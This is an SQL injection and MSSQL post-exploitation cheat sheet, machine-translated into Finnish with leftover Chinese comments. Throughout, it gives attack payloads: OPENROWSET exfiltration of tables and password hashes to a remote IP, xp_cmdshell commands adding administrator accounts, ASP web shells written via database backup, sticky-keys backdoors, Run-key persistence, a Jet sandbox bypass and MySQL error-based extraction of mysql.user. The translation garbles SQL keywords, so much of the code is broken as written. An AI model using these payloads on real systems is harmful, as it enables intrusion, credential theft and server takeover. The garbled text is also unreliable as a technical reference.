valitse * OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, valitse * taulukosta 1 )
Parametrit: (1) OLEDB-palveluntarjoajan nimi
2. Yhteysmerkkijonon parametri voi olla mikä tahansa portti, johon liitetään, kuten
valitse * OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Network=DBMSSOCN; Osoite=192.168.0.1,1433; ,

Valitse * taulukosta
3. Kopioi kohdeisännän koko _blank> tietokanta ja lisää kaikki etätaulut paikalliseen taulukkoon.

Perussyntaksi:
insert into OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, valitse * taulukosta 1) valitse

* taulukosta 2
Tämä rivilauseke kopioi kaiken datan kohdeisännän taulukko2-taulukosta etä-_blank>-tietokannan taulukko1-taulukkoon. Sopivat korjaukset käytännössä

Muuta yhteysmerkkijonon IP-osoite ja portti osoittamaan tarvitsemaasi kohtaan, esimerkiksi:
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Osoite=192.168.0.1,1433; ,valitse

* taulukosta 1) valitse * taulukosta 2
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Osoite=192.168.0.1,1433; ,valitse

* _blank>_sysdatabases)
Valitse * master.dbo.sysdatabasesista
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Osoite=192.168.0.1,1433; ,valitse

* _blank>_sysobjects)
valitse * user_blank>_database.dbo.sysobjectsista
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Osoite=192.168.0.1,1433; ,valitse

* _blank>_syscolumns)
Valitse * user_blank>_database.dbo.syscolumnsista
Replikoi _blank> tietokanta:
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Osoite=192.168.0.1,1433; ,valitse

* taulukosta 1) valitse * tietokannasta.. taulukko 1
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Osoite=192.168.0.1,1433; ,valitse

* taulukosta 2) valitse * tietokannasta.. taulukko 2

Salasanan tiiviste, joka kopioi hajautustaulukon (HASH) kirjautumisen _blank> salasanan, tallennetaan sysxloginsiin. Näin näin:
insert into OPENROWSET(SQLOLEDB,

uid=sa; pwd=123; Network=DBMSSOCN; Osoite=192.168.0.1,1433; , valitse * _blank>_sysxlogins)

valitse * database.dbo.sysxlogins -sivustolta
Kun saat hashin, voit käyttää sitä brute forcella.

Hakemiston läpikäynti: Luo ensin väliaikainen taulukko: temp
; luo taulukko temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); –
; lisää temp exec master.dbo.xp_blank>_availablemedia; – Hae kaikki nykyiset asemat
; lisää temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Hanki lista alihakemistoista
; lisää temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Hanki hakemistopuun rakenne kaikille alihakemistoille,

Yhdistä tuumat väliaikaiseen taulukkoon
; lisää temp(id) exec master.dbo.xp_blank>_cmdshell tyyppi c:\web\index.asp; – Katso tiedosto

Sisältö
; lisää temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; –
; lisää temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; –
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts

\adsutil.vbs enum w3svc
; lisää temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Sovellettava toimivalta

JULKINEN)
Kirjoita pöytään:
lause 1: ja 1=(Valitse IS_blank>_SRVROLEMEMBER(järjestelmänvalvoja)); –
Lause 2: ja 1=(Valitse IS_blank>_SRVROLEMEMBER(serveradmin)); –
Lause 3: ja 1=(Valitse IS_blank>_SRVROLEMEMBER(setupadmin)); –
Lause 4: ja 1=(Valitse IS_blank>_SRVROLEMEMBER(securityadmin)); –
Lause 5: ja 1=(Valitse IS_blank>_SRVROLEMEMBER(securityadmin)); –
Lause 6: ja 1=(Valitse IS_blank>_SRVROLEMEMBER(diskadmin)); –
Väite 7: ja 1=(Valitse IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Väite 8: ja 1=(Valitse IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Väite 9: ja 1=(Valitse IS_blank>_MEMBER(db_blank>_owner)); –

Kirjoita polku taulukkoon:
; create table dirs(paths varchar(100), id int)–
; Lisää DIRS:n johtaja master.dbo.xp_blank>_dirtree c:\–
ja 0<>(valitse DIRS:stä top 1 -polut)–
ja 0<>(valitse top 1 -polut DIRS:stä, jossa polut eivät ole (@Inetpub)))–
; create table dirs1(paths varchar(100), id int)–
; Lisää DIRS Exec master.dbo.xp_blank>_dirtree e:\web–
ja 0<>(valitse DIRS1:stä Top 1 -polut)–

Varmuuskopioi _blank> tietokanta verkkohakemistoon: Lataa
; julistaa @a sysname; joukko @a=db_blank>_name(); varmuuskopiotietokanta @a disk=e:\web\down.bak; –

ja 1=(Valitse top 1 name from(Valitse top 12 id,name from sysobjects, where xtype=char(85)) T

tilaus: id desc)
ja 1=(Valitse Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) sysobjectsista) Katso myös

Aiheeseen liittyvät taulukot.
ja 1=(valitse user_blank>_id USER_blank>_LOGIN)
ja 0=(valitse käyttäjä USER_blank>_LOGIN missä käyttäjä>1)

-=- wscrip{filter}t.shell-esimerkki -=-
deklaroi @o int
exec sp_blank>_oacreate wscrip{filter}t.shell, @o out
exec sp_blank>_oamethod @o, juokse, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, notepad.exe–

declare @o int, @f int, @t int, @ret int
julistaa @line varchar (8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
Aloita
Tulosta @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
loppu

declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>

declare @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o ulos
exec sp_blank>_oamethod @o, rekisteri, NULL, foo, bar
exec sp_blank>_oasetproperty @o, nopeus, 150
exec sp_blank>_oamethod @o, puhu, NULL, kaikki jatko-osien palvelimesi kuuluvat meille, 528
odota viivettä 00:00:05

; decare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec

sp_blank>_oamethod @o, rekisteri, NULL, foo, bar exec sp_blank>_oasetproperty @o, nopeus, 150 exec

sp_blank>_oamethod @o, puhu, NULL, kaikki jatko-osien palvelimesi kuuluvat meille, 528 odota viivettä

00:00:05–

xp_blank>_dirtree sovellettava JULKINEN lupa
exec master.dbo.xp_blank>_dirtree c: Palautetulla tiedoilla on kaksi kenttää: alihakemisto, syvyys. Alihakemistokentät

Merkkityyppi, syvyyskenttä on muokkauskenttä.
luo taulukko dirs(paths varchar(100), id int)
Taulukon rakentaminen, tässä luotu taulukko liittyy yllä mainittuihin xp_blank>_dirtree, kentät ovat yhtä suuret ja sama tyyppi.
insert dirs exec master.dbo.xp_blank>_dirtree c: Kunhan rakennamme taulukon ja määrittelemme tallennusprosessin palauttamat kentät tasapuolisesti

Toteuta! Jotta voimme saavuttaa taulukoiden kirjoittamisen vaikutuksen, askel askeleelta saadaksesi haluamamme tiedon!
Tämä virheinjektio perustuu pääasiassa Mysql-datatyypin ylivuotoon
    mysql > VALITSE 18446744073709551610 * 2 ;
    ERROR 1690 (22003): BIGINT UNSIGN-arvo on alueen ulkopuolella '(18446744073709551610 * 2)'

    mysql > SELECT - 1 * 9223372036854775808 ;
    ERROR 1690 ( 22003 ): BIGINT UNSIGN-arvo on alueen ulkopuolella '(- (1) *

9223372036854775808)'
Hae tietokantaversio:
    mysql> SELECT * 2 (jos ((SELECT * from (SELECT (versio ()) ) s), 18446744073709551610,

18446744073709551610));
    ERROR 1690 (22003): BIGINT UNSIGN-arvo on alueen ulkopuolella '(2 * if (( Select ' 5.5 'from

Dual), 18446744073709551610.18446744073709551610))'
Hanki kentän nimi:
    mysql> VALITSE 2 * if((SELECT * from (select * from test.shop) as '' limit 1)>(SELECT * from

test.shop limit 1), 18446744073709551610, 18446744073709551610);

    ERROR 1690 (22003): BIGINT UNSIGN-arvo on alueen ulkopuolella '(2 * if(((select

'article', 'dealer','price' (valitse 'test'.'shop'.'article' AS

'article','test'.'shop'.'dealer' AS 'dealer','test'.'shop'.'price' AS 'price' from

'testi'.'shop') rajoitus 1) > (valitse

'testi'.'osta'.'artikkeli','testi'.'kauppa'.'kauppias', 'testaa'.'osta'.'hinta' 'testauksesta'.'kaupparaja

1)),18446744073709551610,18446744073709551610))'
Hanki kenttäarvo:

    mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    ERROR 1690 (22003): BIGINT UNSIGN-arvo on alueen ulkopuolella '(2 * if(((select

'paikallishost','root','*','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','

Y','Y','Y','Y','Y','Y','Y','Y','Y','','','0','','' DUAL LIMIT from dual limit 1)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

Huomaa, että tämä menetelmä ei toimi vanhemmissa Mysql-versioissa, ja sinun täytyy tietää virheilmoituksen pituusraja, koska se määrittää

Voit saada niin pitkän ajan kuin haluat:
    Mysys / my_error.c

    /* Virheilmoituksen maksimipituus. Pitäisi pysyä synkassa MYSQL_ERRMSG_SIZE kanssa. */
    #define ERRMSGSIZE (512)

Jos objekti on MariaDB (Mysql:n haarukka), saatat nähdä virheilmoituksen, joka on tämä, kun kokeilet yllä olevaa menetelmää:

    mysql> SELECT 2*(if(((SELECT * from (SELECT (version()))s), 18446744073709551610,

18446744073709551610))
    ERROR 1690 (22003): BIGINT UNSIGN-arvo on alueen ulkopuolella '(2 * if((select

#),18446744073709551610,18446744073709551610))'

Ratkaisuna tämä ongelma voidaan ratkaista seuraavasti:

    mysql> SELECT (i EI OLE NULL) - -9223372036854775808 FROM (SELECT (version())i)a;
    ERROR 1690 (22003): BIGINT-arvo on alueen ulkopuolella '(('5.5-MariaDB' ei ole nolla) - -

(9223372036854775808))'
Nyt katsotaan, voisimmeko tehdä vektoristamme hieman lyhyemmän

//查询数据库版本

    VALITSE 2*(if(((SELECT * from (SELECT (version()))s), 18446744073709551610,

18446744073709551610))
    =
    valitse 1E308*if((select*from(select version())x),2,2)

    SELECT (i EI OLE NULL) - -9223372036854775808 FROM (SELECT (version())i)a
    =
    valitse if(x,2,2)*1E308 from(valitse version()x)y
//获取表字段名称
    VALITSE 2 * if((SELECT * from (select * from test.shop) as '' limit 1)>(SELECT * from

test.shop rajoitus 1), 18446744073709551610, 18446744073709551610)
    =
    valitse 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit

1),2,2)

//获取字段值

    VALITSE 2 * if((SELECT * from (valitse * from (mysql.user) LIMIT 1) nimellä '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from

mysql.user limit 0),2,2)
//获取指定字段的值
    valitse 1E308*if((valitse käyttäjä|| juontaja|| salasana|| file_priv from(select*from mysql.user LIMIT)

1) raja 1),2,2)
//获取字段个数


    valitse 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)



Joitakin muita muodonmuutoksia

    SELECT (i EI OLE NULL) - -9223372036854775808 FROM (SELECT (version())i)a
    valitse 1E308*if((valitse käyttäjä|| juontaja|| salasana|| file_priv from(select*from mysql.user LIMIT)

1) raja 1),2,2);
    =>
    select 2*if((valitse user|isäntä|salasana|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    mysql> valitse (valitse * mysql.userista)=1;
    mysql> valitse (valitse * mysql.user)in(1);

    VIRHE 1241 (21000): Operandissa tulee olla 42 saraketta
    select 2*if((valitse user|isäntä|salasana|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    valitse if((valitse käyttäjä|| juontaja|| salasana|| file_priv from(select*from mysql.user LIMIT 1)a

limit 1),2,2)*1E308
    SELECT (i EI OLE NULL) - -9223372036854775808 FROM (SELECT (version())i)a
    select (x!=0x00)--9223372036854775808 from(SELECT version()x)y
    mysql> select!x-~0.FROM(select+user()x)f;
    ERROR 1690 (22003): BIGINT-UNSIGN-arvo on alueen ulkopuolella '((not('root@localhost'))) - ~

(0))'
3. Arvioi tietokantajärjestelmää
; ja (valitse count(*) sysobjectsista)>0 mssql
; ja (valitse count(*) msysobjectsista)>0 pääsy
4. Injektioparametri on merkki
'ja [kyselykriteerit] ja ''='
5. Haun aikana ei ole suodatettuja parametreja
'and [kyselykriteerit] ja '%25'='
6. Arvaa tietokanta
; ja (valitse Count(*) [tietokannan nimi])>0
7. Arvaa kenttä
; ja (valitse Count (kentän nimi) tietokannan nimestä)>0
8. Arvaa ennätyksen pituus kentällä
; ja (valitse top 1 lensi (kentän nimi) tietokannan nimestä)>0
9. (1) Arvaa kentän ASCII-arvo (access)
; ja (valitse top 1 ASC (Mid(kentän nimi, 1,1)) tietokannan nimestä)>0
(2) Arvaa kentän ASCII-arvo (mssql)
; ja (valitse top 1 unicode(alimerkkijono(kentän nimi, 1,1)) tietokannan nimestä)>0
10. Testiluparakenne (mssql)
; ja 1=(valitse IS_SRVROLEMEMBER('järjestelmänvalvoja')); --
; ja 1=(valitse IS_SRVROLEMEMBER('serveradmin')); --
; ja 1=(valitse IS_SRVROLEMEMBER('setupadmin')); --
; ja 1=(valitse IS_SRVROLEMEMBER('securityadmin')); --
; ja 1=(valitse IS_SRVROLEMEMBER('diskadmin')); --
; ja 1=(valitse IS_SRVROLEMEMBER('bulkadmin')); --
; ja 1=(valitse IS_MEMBER('db_owner')); --
11. Lisää tili mssql:lle ja järjestelmälle
; exec master.dbo.sp_addlogin käyttäjätunnus; --
; exec master.dbo.sp_password null, käyttäjätunnus, salasana; --
; johtaja master.dbo.sp_addsrvrolemember järjestelmänvalvojan käyttäjätunnus; --
; Exec master.dbo.xp_cmdshell 'Net User Password: /Workstations:* /Times:All

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; Exec master.dbo.xp_cmdshell 'Net User Password, Password /Add'; --
; exec master.dbo.xp_cmdshell 'Net LocalGroup Administrators käyttäjätunnus /add'; --
12. (1) Käy läpi luetteloa
; luo taulukko dirs(paths varchar(100), id int)
; Lisää DIRS:n johtaja master.dbo.xp_dirtree 'c:\'
; ja (valitse top 1 -polut dirsistä)>0
; ja (valitse top 1 -polut direistä, joissa polut eivät ole mukana ('polut, jotka on saatu edellisestä vaiheesta'))>)
(2) Käy läpi luetteloa
; luo taulukko temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; Insert Temp Exec master.dbo.xp_availablemedia; -- Hae kaikki nykyiset asemat
; lisää temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Hanki lista alihakemistoista
; lisää temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Hae hakemistopuun rakenne kaikille alihakemistoille
; lisää temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Katso tiedoston sisältö
13. Tallennetut menettelyt mssql:ssä
xp_regenumvalues Rekisterin juuriavain, lapsiavain
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' ja paljon muuta

tietuejoukko-menetelmä kaikkien avainarvojen palauttamiseksi
xp_regread Juuriavain, lapsiavain, avain-arvon nimi
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'CommonFilesDir' palauttaa muotoiluavaimen arvon
xp_regwrite Juuriavain, lapsiavain, arvon nimi, arvotyyppi, arvo
Arvoja on kahta tyyppiä: REG_SZ REG_DWORD merkkityypeille ja kokonaisluvuille
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' kirjoitetaan rekisteriin
xp_regdeletevalue Juuriavain, aliavain, arvonimi
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName' poistaakseen arvon
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' poistonäppäin,

Sisällytä kaikki arvot kyseisen avaimen alle
14. mssql-varmuuskopiointi luo webshellin
Käyttömalli
luo taulukko cmd(str-kuva);
lisää cmd(str)-arvoihin ('<% Dim oscrip{filter}t %>');
varmuuskopiointitietokantamalli disk='c:\l.asp';
15. MSSQL:n sisäänrakennetut toiminnot
; ja (valitse @@version)>0 saadaksesi Windowsin versionumeron
; ja user_name()='dbo' määrittääkseen, onko nykyisen järjestelmän yhdistetty käyttäjä SA
; ja (valitse user_name()))>0 Räjäytti nykyisen järjestelmän yhdistetyt käyttäjät
; ja (valitse db_name())>0 saadaksesi tällä hetkellä yhdistetyn tietokannan
16. Tiivis verkkokuori
Käyttömalli
luo taulukko cmd(str-kuva);
lisää cmd(str)-arvot ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c

"&request("c")).stdout.readall%>');
varmuuskopiotietokantamalli disk='g:\wwwtest\l.asp';
Kun pyydät, käytä jotain tällaista:
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
Hanki kaikki tietokannan nimet, mukaan lukien järjestelmätietokannat
–VALITSE nimi master.dbo.sysdatabasesista

Hanki kaikki ei-järjestelmätietokantanimet
–valitse [nimi] master.dbo.sysdatabasesista, missä DBId>6 Järjestä [Nimi] mukaan

Hanki kaikki tiedot, mukaan lukien tietokantatiedoston osoite
–valitse * master.dbo.sysdatabasesista, missä DBId>6 Järjestä mukaan

[Nimi]



Tämä lausekysely palauttaa kaikki käyttäjätaulut

Valitse * sysobjectsista, missä xtype='u'


Hae kaikki tietotaulutiedot järjestelmästä

Valitse * sysobjectsista



Katso koneen nimeä
Valitse * sys.servers-sivustolta





Sarakkeen sisällysluettelo
Exec master.dbo.xp_subdirs 'c:\'


exec master.dbo.xp_dirtree 'c:',1,1 db_owner
Käyttöoikeuksia voidaan valvoa


exec master.dbo.xp_dirtree 'c:/Program Files',1,1





Ohjelmakoodi, kirjoitettu webshelliin


exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
johtaja sp_makewebtask 'd:

\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"






Teloita mestari.. xp_enumgroups  


Traverse-järjestelmän käyttäjät


Teloita mestari.. xp_getnetname
Hanki nykyinen koneen nimi


--Listaa palvelimella kiinteät levyt sekä kunkin levyn käytettävissä oleva tila
   dbo julkinen


suorittaa

xp_ntsec_enumdomains


--
Luo tili kirjautuaksesi MSSQL:ään
johtaja master.dbo.sp_addlogin nimi, pass; --






--
Listaa palvelimen verkkotunnus
xp_ntsec_enumdomains //
Koneen nimi //dbo julkinen


--
Pysäytä tai käynnistä palvelu
xp_servicecontrol 'stop', 'schedule' //schedule on palvelun nimi //dbo


--Käytä PID:ää

Pysäytä suoritettava ohjelma
xp_terminate_process 123 //123 on pid //dbo


--
Vain hakemiston alihakemistot on listattu
dbo.xp_subdirs 'C:' //dbo


SQL-palvelin
Menetelmä, jolla xp_cmdshell avattiin vuonna 2005
EXECUTIVE sp_configure 'näytä edistyneet asetukset', 1; RECONFIGURE; JOHTAJA

sp_configure 'xp_cmdshell', 1; RECONFIGURE;

SQL2005 Avaa 'OPENROWSET'
Tuetut menetelmät:
exec sp_configure 'näytä edistyneet asetukset', 1; RECONFIGURE; johtaja sp_configure 'Ad Hoc

Jaetut kyselyt', 1; RECONFIGURE;

SQL2005 'sp_oacreate'-tuen mahdollistamiseksi:
exec sp_configure 'näytä edistyneet asetukset', 1; RECONFIGURE; johtaja

sp_configure 'Ole Automation Procedures',1; UUDELLEENKONFIGUROINTI





Kuinka ottaa xp_cmdshell käyttöön SQL Server 2008:ssa


-- Jotta edistyneitä asetuksia voidaan muuttaa.
JOHTAJA

sp_configure 'näytä edistyneet asetukset', 1
MENE
-- Nykyisen konfiguroidun arvon päivittämiseksi

Edistyneet vaihtoehdot.
UUDELLEENKONFIGUROINTI
MENE
-- Toiminto aktivoitua.
EXECUTIVE sp_configure 'xp_cmdshell', 1
MENE
-- To

päivitä tällä hetkellä määritetty arvo tälle ominaisuudelle.
UUDELLEENKONFIGUROINTI
MENE


exec xp_cmdshell 'ipconfig'



Tänään halusin vaihtaa tietokantapalvelimen SA-kirjautumissalasanan, mutta unohdin sen yhtäkkiä, joten jouduin avaamaan kyselyanalysaattorin muiden tilien avulla vaihtaakseni SA-salasanan

Se on hyvin yksinkertaista:


Toteutus:
sp_password Null, 'teracypwd,'sa'
Aseta SA-salasanaksi "teracypwd"


Onnistuneen teloituksen jälkeen

On "Komento(t) suoritettu onnistuneesti."  OKEI!








Tietokantaoikeuksissa erotetaan MSSQL-tietokantapalvelimen IP-osoitteen hankintatapa


1. Paikallinen NC kuuntelee NC -VVLP 80


2.; lisää sisään

OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Network=DBMSSOCN; Osoite=osoitteesi, 80; ', 'valitse *

dest_table') valitse * src_table; --


Valitse * openrowsetistä

('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','valitse käyttäjä; ')





Tietokannan tuonti ja vienti

/*不同服务器数据库之间的数据操作*/

--Luo linkkipalvelin
Johtaja sp_addlinkedserver   

'ITSV', 'SQLOLEDB', 'Etäpalvelimen nimi tai IP-osoite'
exec sp_addlinkedsrvlogin 'ITSV', 'false

',null, 'käyttäjätunnus', 'salasana'

--kyselyesimerkki
valitse * ITSV.database name.dbo.table name

--tuontiesimerkki
Valitse *

taulukkoon ITSV.databasename.dbo.tablename

--Poista linkitetty palvelin, jos sitä ei enää käytetä tulevaisuudessa
sp_dropserver 'ITSV':n johtaja,

'droploginit'

--
Yhdistäminen etä-/LAN-dataan (openrowset/openquery/opendatasource)
--1、openrowset

--kyselyesimerkki
Valitse *

openrowset( 'SQLOLEDB', 'SQLL-palvelimen nimi'; 'Käyttäjätunnus'; 'password', tietokanta name.dbo.table name)

--
Luo paikallinen taulukko
valitse * taulukkoon openrowset( 'SQLOLEDB', 'SQLL-palvelimen nimi'; 'Käyttäjätunnus'; 'Salasana', numero

Tietokannan nimi.dbo. taulun nimi mukaan)

--
Tuo paikallinen taulu etätaulukkoon
lisää openrowset( 'SQLOLEDB', 'SQL-palvelimen nimi'; 'Käyttäjätunnus'; 'Salasanat', tietokannat

name.dbo.table name)
Valitse *paikallisesta taulukosta

--
Päivitä paikallisia taulukoita
Päivitys B
joukko b. sarake A = a
openrowset( 'SQLOLEDB', 'SQLL-palvelimen nimi'; 'Käyttäjätunnus'; '

salasana ', tietokannan nimi .dbo.table name) sisäisenä liitoksena paikallisena tauluna b
on a.column1=b.column1

--openquery
Käyttö vaatii yhteyden luomista

--Luo ensin yhteys linkkipalvelimen luomiseksi
johtaja sp_addlinkedserver 'ITSV', ' ',

'SQLOLEDB', 'etäpalvelimen nimi tai IP-osoite'
--Kysy
Valitse *
FROM openquery(ITSV, 'SELECT * FROM' datasta

library.dbo.table name ')
--
Tuo paikallinen taulu etätaulukkoon
lisää openquery(ITSV, 'VALITSE * FROM database.dbo.table name')
Valitse * paikallisesta

Taulukko
--päivitä paikallinen taulukko
Päivitys B
joukko b. sarake B=a
FROM openquery(ITSV, 'VALITSE * FROM database.dbo.tablename')

  
sisäinen liitos paikallinen taulukko b a. sarake A=b. sarake A

--3、opendatasource/openrowset
VALITSE *
LÄHTEESTÄ   

opendatasource( 'SQLOLEDB', 'Data Source=ip/ServerName; Käyttäjätunnus = Kirjautumisnimi; Salasana=Salasana '

).test.dbo.roy_ta
--
Tuo paikallinen taulu etätaulukkoon



xp_cmdshell poistaminen ja palauttaminen


Tapoja toipua xp_cmdshell   
Poista laajennettu tallennettu proseduuri xp_cmdshell

Lausunto   
Johtaja sp_dropextendedproc 'xp_cmdshell'   



Palauta cmdshellin sql-lause   
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'   


johtaja

master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll'; valitse count(*) joukosta

master.dbo.sysobjects , missä xtype='x' ja   
Palautustulos on 1 ja se on ok   


Muussa tapauksessa sinun täytyy ladata c:\inetput\web

\xplog70.dll myöhemmin   
exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll

’; --   



Jos poistat sen seuraavalla tavalla   
Pudotusmenettely sp_addextendedproc   
Pudotusmenettely sp_oacreate   
johtaja

sp_dropextendedproc 'xp_cmdshell'   



Voit palauttaa sen seuraavalla lauseella   
dbcc addextendedproc ("sp_oacreate","odsole70.dll")   
DBCC

addextendedproc ("xp_cmdshell","xplog70.dll")   

Näin se voidaan palauttaa suoraan, riippumatta siitä, onko sp_addextendedproc olemassa vai ei






1、
Käytä xp_cmdshell:
          Exec master.dbo.xp_cmdshell "Net User Admin Admin /Add"
          johtaja

master.dbo.xp_cmdshell "net localgroup administrators admin /add"

xp_cmdshell tapauksessa käytä sp_oacreate seuraamaan sp_oamethod:
          julista @object älykkyys   
          johtaja

sp_oacreate 'wscrip{filter}t.Shell', @object ulos         
          Johtaja sp_oamethod

@object,'Run',NULL,'net user admin admin /add'
          exec sp_oamethod @object,'Run',NULL,'net

localgroup Administrators admin /add'

Huomautus: regsvr32 /s c:\windows\system32\wshom.ocx
Start wscrip{filter}t.shell
3、
Käytä sp_oacreate ja FSO:ta
          deklaroi @o int
          Johtaja sp_oacreate

'scrip{filter}ting.filesystemobject', @o ulos
          exec sp_oamethod @o, 'copyfile',null,'c:\windows

\explorer.exe' ,'c:\windows\system32\sethc.exe';
          julista @oo älykkyys
          johtaja

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo ulos
          Johtaja sp_oamethod @oo,

'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

Käytä xp_regwrite (db_owner, uudelleenkäynnistys vaaditaan):
          Johtaja master.dbo.xp_regwrite

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd1','reg_sz','net user admin admin /add'
          Johtaja master.dbo.xp_regwrite

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd2','reg_sz','net localgroup administrators admin /add'
5. Käytä sp_add_job:
          johtaja

master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
          Käytä MSDB Exec sp_delete_job

null,'x'
          Johtaja sp_add_job 'X'
          Johtaja sp_add_jobstep

Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add'
          Johtaja sp_add_jobserver

Null, 'x', @@servername exec sp_start_job 'x'















Monet SA:t ovat onnistuneet monissa koneissa suoraan hiekkalaatikkotilalla, mutta en ole koskaan harjoitellut sitä enkä tiedä, mikä onnistumisprosentti on. Kun jatke poistetaan, ensin

Palauta luku- ja kirjoitustallennus rekisteriin.
dbcc addextendedproc ('xp_regread','xpstar.dll')
DBCC addextendedproc

('xp_regwrite','xpstar.dll')



Korjattu hiekkalaatikon suojattu tila
Toimitusjohtaja.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet

\4.0\Engines','SandBoxMode','REG_DWORD',0; --



Katso, onko 'SandBoxMode'-arvo muuttunut 0:aan.


johtaja master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','OHJELMISTO

\Microsoft\Jet\4.0\Engines', 'SandBoxMode'



Lopuksi, kutsu hiekkalaatikkotila
Valitse * openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS

\system32\ias\dnary.mdb','valitse shell("cmd.exe /c verkkokäyttäjä passwd /add")')







Jos hiekkalaatikkosuojaustila ei ole "pois päältä", raportoidaan virhe:
          Palvelin: Msg 7357, Taso 16, Tila 2, Rivi 1

Epäonnistui käsitellä objektia 'valitse shell("cmd.exe /c net user passwd /add")'. OLE DB tarjoaa ohjelmia

Esipuhe 'microsoft.jet.oledb.4.0' osoittaa, ettei objektissa ole sarakkeita.

OLE DB:n virheenseuranta [Ei-rajapintavirhe: OLE DB -palveluntarjoaja ei pysty käsittelemään objektia, koska objekti

on nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user

user passwd /add")']。


2、
Jos .mdb ei ole olemassa tai syötepolku on väärä
           Palvelin: Msg 7399, Taso 16, Tila 1, Rivi 1

OLE DB provider -virhe 'microsoft.jet.oledb.4.0'.
            [OLE/DB-palveluntarjoaja palautti viestin:

Tiedostoa 'C:\WINDOWS\system32\ias\dnary1.mdb' ei löydy. ]

